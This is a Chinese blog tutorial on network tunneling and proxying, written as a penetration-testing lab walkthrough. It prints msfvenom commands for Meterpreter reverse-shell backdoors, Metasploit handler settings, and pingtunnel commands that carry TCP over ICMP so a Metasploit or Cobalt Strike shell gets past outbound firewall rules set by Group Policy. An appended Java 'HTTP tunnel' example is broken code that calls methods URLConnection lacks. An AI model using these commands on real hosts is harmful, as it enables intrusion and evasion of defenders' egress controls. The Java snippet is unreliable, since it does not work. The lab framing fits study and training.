隧道技术和代理技术(一)

目录

基础知识

单机-防火墙-限制协议出入站

域控-防火墙-组策略对象同步

域控-防火墙-组策略不出网上线


基础知识

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

主要了解

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

首先了解什么是防火墙?

随便打开一个虚拟机防火墙可以发现有入站规则和出站规则

从字面意思应该就能理解了入站就是外部消息的输入到主机,出站就是主机应用向外部发送请求

image-20240302170809948

举俩个例子

1.防火墙服务器搭建一个web服务

有个人去访问了这个web服务,属于入站还是出站

当然是出站

2.防火墙上有个后门,现在执行后门,是出站还是入站,还是俩个都要

答案是俩个都,因为正反向连接的问题

单机-防火墙-限制协议出入站

注意当在windows上开启web服务时,关闭windows地公网防火墙,开启专用网络防火墙,外部主机是可以访问web服务的,但是当开启公网防火墙时,外部主机是无法访问web服务的

image-20240302204804365

步入正题

首先kali生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=6688 -f exe > swq.exe

注意这里是

reverse是反向

bind是正向

image-20240302202723556

kali设置监听

接着到windows下运行swq.exe文件,发现可以成功上线

image-20240302205713922

但是如果我们给windows防火墙加规则

注意我们之前配的后面是reverse是反向,是后面主动连接被控服务器,需要配置出站规则

如果是bind是正向,服务器主动连接被控主机,需要配置入站规则来防止监听

接下来配置规则,控制面板到如图位置,点击高级设置

image-20240302210833534

点击出站规则,新建规则,端口

image-20240302210651307

端口6688

image-20240302211026861

操作阻止连接

配置全勾上

image-20240302211142876

名称随意,先禁用规则看是否可以上线

image-20240302211237416

可以上线

image-20240302211346318

启用规则

image-20240302211421191

无法上线

image-20240302211458127

其他方法上线

1.改变监听端口

2.更改协议除了防火墙阻止的tcp协议,还有其他协议,例如icmp

可以看如下的协议和osi每个层次对应的协议

image-20240302201216769

image-20240302201234562

如果禁用了tcp是不能通过http、ftp等协议来连接后门,因为http是基于tcp的,只能向下兼容

可以使用ICMP

域控-防火墙-组策略对象同步

熟悉常见主机配置不出网的操作流程

操作:组策略管理-域-创建GPO链接-防火墙设置

image-20240302214413823

点击编辑,找到高级安全配置,右击属性,域、专用、公用全部关闭。

image-20240302214758108

更新策略:强制&命令&重启

1.fhq右击有强制选项,就是不管你更不更新,强制统一

image-20240302215036821

2.命令

命令:gpupdate/force

到更新域主机下执行这个命令,会更新防火墙

比如,一开始这台域主机是防火墙是全开

image-20240302215319324

然后在这台域主机的cmd下运行上面命令

image-20240302215641086

现在再去看这台域主机的防火墙状态,全部关闭

image-20240302215731191

3.重启后会自动更新

域控-防火墙-组策略不出网上线

背景介绍:域控通过组策略设置防火墙规则同步后,域内用户主机被限制TCP出网,其

中规则为出站规则,安全研究者通过入站取得SHELL权限,需要对其进行上线控制。

思路:正向连接&隧道技术

如果是入站被限制呢?反向连接&隧道技术也可以解决(前提看限制的多不多)

情况一:

主机出站TCP被封杀,入站没有,无互联网网络

正向连接(取得一台有网络的能和主机通讯的服务器权限 他有网)把数据给出网的机器,通过出网机器正向主动控制他

就是通过一个有网的域内机器,去正向连接那个没网的域内机器,去获取到数据,让有网的机器去传出

情况二:

主机出站TCP封杀,入站没有,有互联网网络

1.正向连接(取得一台有网络的能和主机通讯的服务器权限 他有网)

2.隧道技术(走其他协议出网即可)

隧道技术原理:将TCP协议数据封装成ICMP协议数据,具体操作就是,先将tcp引入靶机本地,然后通过隧道工具换成ICMP数据传到服务器上,注意前提是已经拿到目标靶机的shell,但是因为出规则,而受到网络限制,隧道不是横向移动

隧道转ICMP工具

GitHub - esrrhs/spp: A simple and powerful proxy

GitHub - bdamele/icmpsh: Simple reverse ICMP shell

GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP

实操

1.msf隧道ICMP上线

首先msf生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1
lport=3333 -f exe > hhh.exe

image-20240303203611606

然后msf启动监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

image-20240303204839950

kali开启隧道

./pingtunnel -type server

image-20240303204819356

然后靶机上运行,注意要用管理员运行cmd

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.23.128 -t 192.168.23.128:4444 -tcp 1 -noprint 1 -nolog 1

image-20240303211426247

然后运行hhh.exe文件

可以看到成功上线

image-20240303211558152

2.CS隧道ICMP上线

先启动cs

配置监听器,为什么就不多说了

监听器1:127.0.0.1 5555

监听器2:192.168.23.128 6666

image-20240303213205882

在启动cs的服务器上运行

./pingtunnel -type server

生成后门,用这个stageless文件

image-20240303213032787

监听用127.0.0.1的监听器

靶机上:(管理器运行)

pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.23.128 -t 192.168.23.128:6666 -tcp 1 -noprint 1 -nolog 1

然后运行后门成功上线

image-20240303214023542

 未完待续,如果喜欢可以等待隧道技术和代理技术(二)

  • 22
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTTP隧道技术是一种通过HTTP协议在客户端和服务器之间建立的通道,使得客户端可以通过该通道来访问服务器上的资源。使用HTTP隧道技术可以绕过某些网络限制,例如防火墙阻止了某些协议的访问,使用HTTP隧道技术可以将被限制的协议封装在HTTP请求中,从而绕过防火墙的限制。 在Java中实现HTTP隧道技术可以使用Java的URLConnection类来发送HTTP请求,并将需要访问的协议封装在HTTP请求中。具体实现步骤如下: 1. 创建一个URLConnection对象,设置请求的URL和请求方法为“CONNECT”。 2. 设置HTTP头信息,包括Host,User-Agent等。 3. 发送HTTP请求,获取服务器返回的响应。 4. 如果响应码为200,则表示隧道建立成功,可以通过该隧道来访问服务器上的资源。 5. 如果响应码为其他值,则表示隧道建立失败,需要根据响应码进行相应的处理。 下面是一个简单的Java实现HTTP隧道的示例代码: ``` import java.io.IOException; import java.net.URL; import java.net.URLConnection; public class HttpTunnel { public static void main(String[] args) throws IOException { String proxyHost = "proxy.example.com"; int proxyPort = 8080; String tunnelHost = "target.example.com"; int tunnelPort = 80; String targetHost = "www.example.com"; int targetPort = 80; // 创建连接代理服务器的URLConnection对象 URL proxyUrl = new URL("http://" + proxyHost + ":" + proxyPort); URLConnection proxyConn = proxyUrl.openConnection(); // 设置请求方法为CONNECT proxyConn.setRequestProperty("Proxy-Connection", "Keep-Alive"); proxyConn.setRequestProperty("Proxy-Authorization", "Basic " + new sun.misc.BASE64Encoder().encode("username:password".getBytes())); // 发送连接代理服务器的请求 proxyConn.connect(); // 获取连接代理服务器的响应 System.out.println("Response Code: " + proxyConn.getResponseCode()); System.out.println("Response Message: " + proxyConn.getResponseMessage()); // 创建连接隧道服务器的URLConnection对象 URL tunnelUrl = new URL("http://" + tunnelHost + ":" + tunnelPort); URLConnection tunnelConn = tunnelUrl.openConnection(proxyConn); // 设置请求方法为CONNECT tunnelConn.setRequestProperty("Connection", "Keep-Alive"); tunnelConn.setRequestProperty("Host", targetHost + ":" + targetPort); // 发送连接隧道服务器的请求 tunnelConn.connect(); // 获取连接隧道服务器的响应 System.out.println("Response Code: " + tunnelConn.getResponseCode()); System.out.println("Response Message: " + tunnelConn.getResponseMessage()); // 创建连接目标服务器的URLConnection对象 URL targetUrl = new URL("http://" + targetHost + ":" + targetPort); URLConnection targetConn = targetUrl.openConnection(tunnelConn); // 发送连接目标服务器的请求 targetConn.connect(); // 获取连接目标服务器的响应 System.out.println("Response Code: " + targetConn.getResponseCode()); System.out.println("Response Message: " + targetConn.getResponseMessage()); } } ``` 其中,proxyHost和proxyPort是连接代理服务器的地址和端口号,tunnelHost和tunnelPort是连接隧道服务器的地址和端口号,targetHost和targetPort是连接目标服务器的地址和端口号。在实际使用中,需要根据具体情况进行设置。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值